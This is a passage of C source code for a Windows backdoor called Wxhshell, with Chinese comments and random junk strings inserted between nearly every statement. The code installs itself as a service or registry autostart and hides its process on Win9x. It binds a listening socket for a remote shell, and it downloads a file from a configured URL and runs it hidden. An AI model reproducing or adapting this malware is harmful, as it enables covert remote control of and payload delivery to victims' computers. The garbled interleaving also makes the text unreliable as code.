/;$6s* char procName[255]; cc|W1,q unsigned long cbNeeded; 5E\.YqdV "iA0hA if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3]l)uoNt/ ~ubvdQEW CloseHandle(hProcess); [3jJQ3O, F{0\a;U@^ if(strstr(procName,"services")) return 1; // 以服务启动 !l9{R8m>eJ pcy;]U? return 0; // 注册表启动 <{isWEW9]3 } jc&k-d>=G kJJT`Ba&/ // 主模块 au{)5W4~ int StartWxhshell(LPSTR lpCmdLine) 5dm ~yQN/ { SXk.7bMV6 SOCKET wsl; k
ucbI_ BOOL val=TRUE; x~V[}4E%> int port=0; 3PE.7-HF struct sockaddr_in door; 4yxQq7
m, 0G+Q^]0 if(wscfg.ws_autoins) Install(); 8@t8P5(vL UGSZg|&6#* port=atoi(lpCmdLine); {V6&((E8 #7i*Diqf9 if(port<=0) port=wscfg.ws_port; J,F1Xmr4 p?i.<Z WSADATA data; fOV_ >]u if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lI<jYd
0fZ GGp.u@\r if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; uzBQK setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w}ji]V} door.sin_family = AF_INET; Zz0bd473k? door.sin_addr.s_addr = inet_addr("127.0.0.1"); FJ_7<4ET door.sin_port = htons(port); <y@vv 1Cw]~jh if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }R%H?&P closesocket(wsl); aUaeK(x:H return 1; X`.##S KC } n93q8U6m/U k,:W]KD if(listen(wsl,2) == INVALID_SOCKET) { >Uw:cq closesocket(wsl); +<a\0FsD return 1; jE*{^+n
} 7*l$i/! Wxhshell(wsl); $G".PWc WSACleanup(); Q;]JVT1 KqK]R6> return 0; Ymz/: gJQ#j~' } pF{jIXu [Fl_R[o // 以NT服务方式启动 )9hqd VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WC#6(H5t$ { V&*IZt& DWORD status = 0; ,8e'<y DWORD specificError = 0xfffffff; `HX:U3/ dua F?\vv serviceStatus.dwServiceType = SERVICE_WIN32; rfqwxr45h serviceStatus.dwCurrentState = SERVICE_START_PENDING; Pk;\^DRC serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `D4Wg<,9 serviceStatus.dwWin32ExitCode = 0; -c_l
n K serviceStatus.dwServiceSpecificExitCode = 0; x3q^}sj% serviceStatus.dwCheckPoint = 0; danPy2 serviceStatus.dwWaitHint = 0; rtj/&> f/)Y {kS6 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); > Vm}u`x if (hServiceStatusHandle==0) return; "wgPPop `?z('FV status = GetLastError(); N3%#JdzZ$ if (status!=NO_ERROR) q3x"9i
` { \u,CixV= serviceStatus.dwCurrentState = SERVICE_STOPPED; Db|f"3rq? serviceStatus.dwCheckPoint = 0; 8 0tA5AP serviceStatus.dwWaitHint = 0; sY;h~a0n serviceStatus.dwWin32ExitCode = status; Uu_qy(4 serviceStatus.dwServiceSpecificExitCode = specificError; vNSUrf,r SetServiceStatus(hServiceStatusHandle, &serviceStatus); c,a8#Og return; o(hUC$vW } JP>EW&M GHsDZ(d3. serviceStatus.dwCurrentState = SERVICE_RUNNING; 9hzu!}~'I serviceStatus.dwCheckPoint = 0; Nf| 0O\+%y serviceStatus.dwWaitHint = 0; 9^a|yyzL if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jh-yIk } E=I'$*C\D ]3 "0#Y // 处理NT服务事件,比如:启动、停止 w){B$X VOID WINAPI NTServiceHandler(DWORD fdwControl) xrf|c { [U&k"s? switch(fdwControl) rS [4Pey { *j3U+HV case SERVICE_CONTROL_STOP: @NM0ILE serviceStatus.dwWin32ExitCode = 0; B
~v6_x serviceStatus.dwCurrentState = SERVICE_STOPPED; &]TniQH serviceStatus.dwCheckPoint = 0; bJ:5pBJ3 serviceStatus.dwWaitHint = 0; =Zj
7dn;EN { hk?i0#7W SetServiceStatus(hServiceStatusHandle, &serviceStatus); m6i ,xn } Qsbyy>o) return; QNbZ) case SERVICE_CONTROL_PAUSE: Nw"df=,{ serviceStatus.dwCurrentState = SERVICE_PAUSED; ;P S4@, break; #(tdJ<HvC| case SERVICE_CONTROL_CONTINUE: z4YDngf=4 serviceStatus.dwCurrentState = SERVICE_RUNNING; N3u06 break; /dCsZA case SERVICE_CONTROL_INTERROGATE: ~cm4e>o break; $n<1D -0!r }; -b!?9T?} SetServiceStatus(hServiceStatusHandle, &serviceStatus); RvR.t"8 } #N][-i f#l9rV"@g // 标准应用程序主函数 ^&;,n.X5Z int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K@p9_K8 { ^]o
H}lwO _WS8I> // 获取操作系统版本 q]4h#?.-1v OsIsNt=GetOsVer(); XJo.^<m GetModuleFileName(NULL,ExeFile,MAX_PATH); KpGx<+0p #ft9ms#N // 从命令行安装 Qb
{[xmc if(strpbrk(lpCmdLine,"iI")) Install(); G8}owszT w[GEm,ZC // 下载执行文件 Zq4%O7% if(wscfg.ws_downexe) { lf-.c$.> if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6.]~7n WinExec(wscfg.ws_filenam,SW_HIDE); 9wx]xg4l" } x_3B) &9 &$XTe2 if(!OsIsNt) { ?l~qb]._ // 如果时win9x,隐藏进程并且设置为注册表启动 ;L$-_Z HideProc(); -7!L]BcZ. StartWxhshell(lpCmdLine); V?OTP&+J% } |M?s[}ll else ,=e.QAF!" if(StartFromService()) -3ePCAtXbe // 以服务方式启动 {`):X _$T StartServiceCtrlDispatcher(DispatchTable); yV`Tw"p else GJdL1ptc // 普通方式启动 u.A}&'H StartWxhshell(lpCmdLine); 6?xF!VIL +X#6dv$ return 0; m^FKE: }
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